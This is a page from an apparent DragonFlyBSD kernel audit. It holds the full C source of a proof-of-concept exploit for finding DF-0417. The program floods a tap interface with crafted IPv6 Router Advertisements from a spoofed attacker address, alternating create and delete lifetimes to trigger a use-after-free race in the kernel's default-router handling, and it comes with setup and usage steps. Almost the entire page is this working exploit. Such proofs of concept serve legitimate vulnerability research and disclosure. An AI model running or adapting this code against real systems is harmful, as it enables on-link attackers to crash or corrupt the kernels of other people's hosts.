DragonFlyBSD Kernel Audit
DF-0417 / ra_tap.c
← back to finding ↓ download raw
/* DF-0417 PoC (tap variant): inject RAs into a tap interface to exercise the
 * defrtrlist_update() UAF race from a simulated on-link attacker position.
 *
 * Writing a full Ethernet+IPv6+ICMPv6-RA frame to /dev/tapN injects it into
 * tapN's if_input, so nd6_ra_input() processes it exactly as if it arrived
 * from the wire.  (BPF BIOCSFEEDBACK loopback is broken on this guest:
 * bpf_movein() strips the Ethernet header from the mbuf, and the feedback
 * path dups that header-stripped mbuf into if_input, mis-framing it.)
 *
 * Setup (as root): create tap0, bring it up, accept RAs on it:
 *   ifconfig tap0 create up
 *   <run ndflagset tap0>   (sets ND6_IFF_ACCEPT_RTADV)
 *   rtsold-style: tap0 needs an IPv6 link-local; auto-linklocal handles it
 *
 * Usage: ./ra_tap [-d tapdev] [-n count] [-p prefixes] [-s secs]
 *   Alternates CREATE (lifetime 1800 + N prefix options) and DELETE
 *   (lifetime 0) RAs for the same router, flooding to widen the race window
 *   between defrtrlist_update() returning (lock released) and prelist_update()
 *   re-locking.  A concurrent DELETE (or nd6_timer expiry) that lands in that
 *   window frees the router while the CREATE is still mid-prefix-loop. */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#define ALL_NODES "ff02::1"
#define ATTK_LLA  "fe80::dead:beef:cafe"

static const unsigned char ether_allnodes[6] =
    { 0x33, 0x33, 0x00, 0x00, 0x00, 0x01 };
static const unsigned char ether_attacker[6] =
    { 0x52, 0x54, 0x00, 0xde, 0xad, 0xbe };

static u_int16_t
icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst,
    const u_int8_t *payload, int len)
{
    u_int32_t sum = 0; int i;
    for (i = 0; i < 8; i++) {
        sum += ntohs(src->s6_addr16[i]);
        sum += ntohs(dst->s6_addr16[i]);
    }
    sum += len; sum += IPPROTO_ICMPV6;
    for (i = 0; i < (len & ~1); i += 2)
        sum += (payload[i] << 8) | payload[i+1];
    if (len & 1) sum += payload[len-1] << 8;
    while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
    return (u_int16_t)(~sum & 0xffff);
}

static int
build_ra(u_int8_t *buf, int create, int npfx,
    const struct in6_addr *src6, const struct in6_addr *dst6)
{
    int off = 0;
    memcpy(buf + off, ether_allnodes, 6); off += 6;
    memcpy(buf + off, ether_attacker, 6); off += 6;
    buf[off++] = 0x86; buf[off++] = 0xdd;

    struct ip6_hdr *ip6 = (struct ip6_hdr *)(buf + off);
    ip6->ip6_flow = htonl(6 << 28);
    int icmp_off = off + sizeof(struct ip6_hdr);
    int ra_len = sizeof(struct nd_router_advert)
               + npfx * (int)sizeof(struct nd_opt_prefix_info) + 8;
    ip6->ip6_plen = htons(ra_len);
    ip6->ip6_nxt = IPPROTO_ICMPV6;
    ip6->ip6_hlim = 255;
    ip6->ip6_src = *src6;
    ip6->ip6_dst = *dst6;
    off = icmp_off;

    struct nd_router_advert *ra = (struct nd_router_advert *)(buf + off);
    ra->nd_ra_type = ND_ROUTER_ADVERT;
    ra->nd_ra_code = 0;
    ra->nd_ra_cksum = 0;
    ra->nd_ra_curhoplimit = 64;
    ra->nd_ra_flags_reserved = 0;
    ra->nd_ra_router_lifetime = create ? htons(1800) : htons(0);
    ra->nd_ra_reachable = 0;
    ra->nd_ra_retransmit = 0;
    off += sizeof(struct nd_router_advert);

    int p;
    for (p = 0; p < npfx; p++) {
        struct nd_opt_prefix_info *pi =
            (struct nd_opt_prefix_info *)(buf + off);
        pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION;
        pi->nd_opt_pi_len = 4;
        pi->nd_opt_pi_prefix_len = 64;
        pi->nd_opt_pi_flags_reserved =
            ND_OPT_PI_FLAG_ONLINK | ND_OPT_PI_FLAG_AUTO;
        pi->nd_opt_pi_valid_time = htonl(3600);
        pi->nd_opt_pi_preferred_time = htonl(1800);
        pi->nd_opt_pi_reserved2 = 0;
        memset(&pi->nd_opt_pi_prefix, 0, sizeof(pi->nd_opt_pi_prefix));
        pi->nd_opt_pi_prefix.s6_addr16[0] = htons(0x2001);
        pi->nd_opt_pi_prefix.s6_addr16[1] = htons(0x0db8);
        pi->nd_opt_pi_prefix.s6_addr[15] = (u_int8_t)(p + 1);
        off += sizeof(struct nd_opt_prefix_info);
    }

    struct nd_opt_hdr *sll = (struct nd_opt_hdr *)(buf + off);
    sll->nd_opt_type = ND_OPT_SOURCE_LINKADDR;
    sll->nd_opt_len = 1;
    memcpy(buf + off + 2, ether_attacker, 6);
    off += 8;

    int plen = off - icmp_off;
    ra->nd_ra_cksum = htons(icmp6_cksum(src6, dst6, (u_int8_t *)ra, plen));
    return off;
}

int main(int argc, char **argv)
{
    const char *dev = "/dev/tap0";
    long count = 2000000;
    int npfx = 16;
    int secs = 90;
    int opt;
    while ((opt = getopt(argc, argv, "d:n:p:s:")) != -1) {
        switch (opt) {
        case 'd': dev = optarg; break;
        case 'n': count = atol(optarg); break;
        case 'p': npfx = atoi(optarg); break;
        case 's': secs = atoi(optarg); break;
        default:
            fprintf(stderr, "usage: %s [-d tapdev] [-n n] [-p pfx] [-s sec]\n",
                argv[0]); return 2;
        }
    }
    struct in6_addr src6, dst6;
    if (inet_pton(AF_INET6, ATTK_LLA, &src6) != 1 ||
        inet_pton(AF_INET6, ALL_NODES, &dst6) != 1) {
        fprintf(stderr, "inet_pton failed\n"); return 2;
    }
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror(dev); return 2; }

    int frame = 14 + 40 + sizeof(struct nd_router_advert)
                    + npfx * (int)sizeof(struct nd_opt_prefix_info) + 8;
    u_int8_t *create = malloc(frame + 4);
    u_int8_t *dele   = malloc(frame + 4);
    if (!create || !dele) { perror("malloc"); return 2; }
    int clen = build_ra(create, 1, npfx, &src6, &dst6);
    int dlen = build_ra(dele,   0, npfx, &src6, &dst6);

    fprintf(stderr,
        "DF-0417 ra_tap: dev=%s frame=%dB prefixes/RA=%d count=%ld cap=%ds\n",
        dev, frame, npfx, count, secs);
    fprintf(stderr, "  attacker LLA=%s -> %s ; CREATE lifetime=1800s DELETE=0s\n",
        ATTK_LLA, ALL_NODES);

    time_t t0 = time(NULL);
    long i, sent = 0, errs = 0;
    for (i = 0; i < count; i++) {
        u_int8_t *f = (i & 1) ? dele : create;
        int fl = (i & 1) ? dlen : clen;
        ssize_t w = write(fd, f, fl);
        if (w < 0) { errs++; if (errs < 5) perror("write tap"); }
        else sent++;
        if ((i & 0x3fff) == 0 && (time(NULL) - t0) >= secs) {
            fprintf(stderr, "  time cap at %ld frames\n", i); break;
        }
    }
    fprintf(stderr, "  done: sent=%ld errs=%ld elapsed=%lds\n",
        sent, errs, (long)(time(NULL) - t0));
    return 0;
}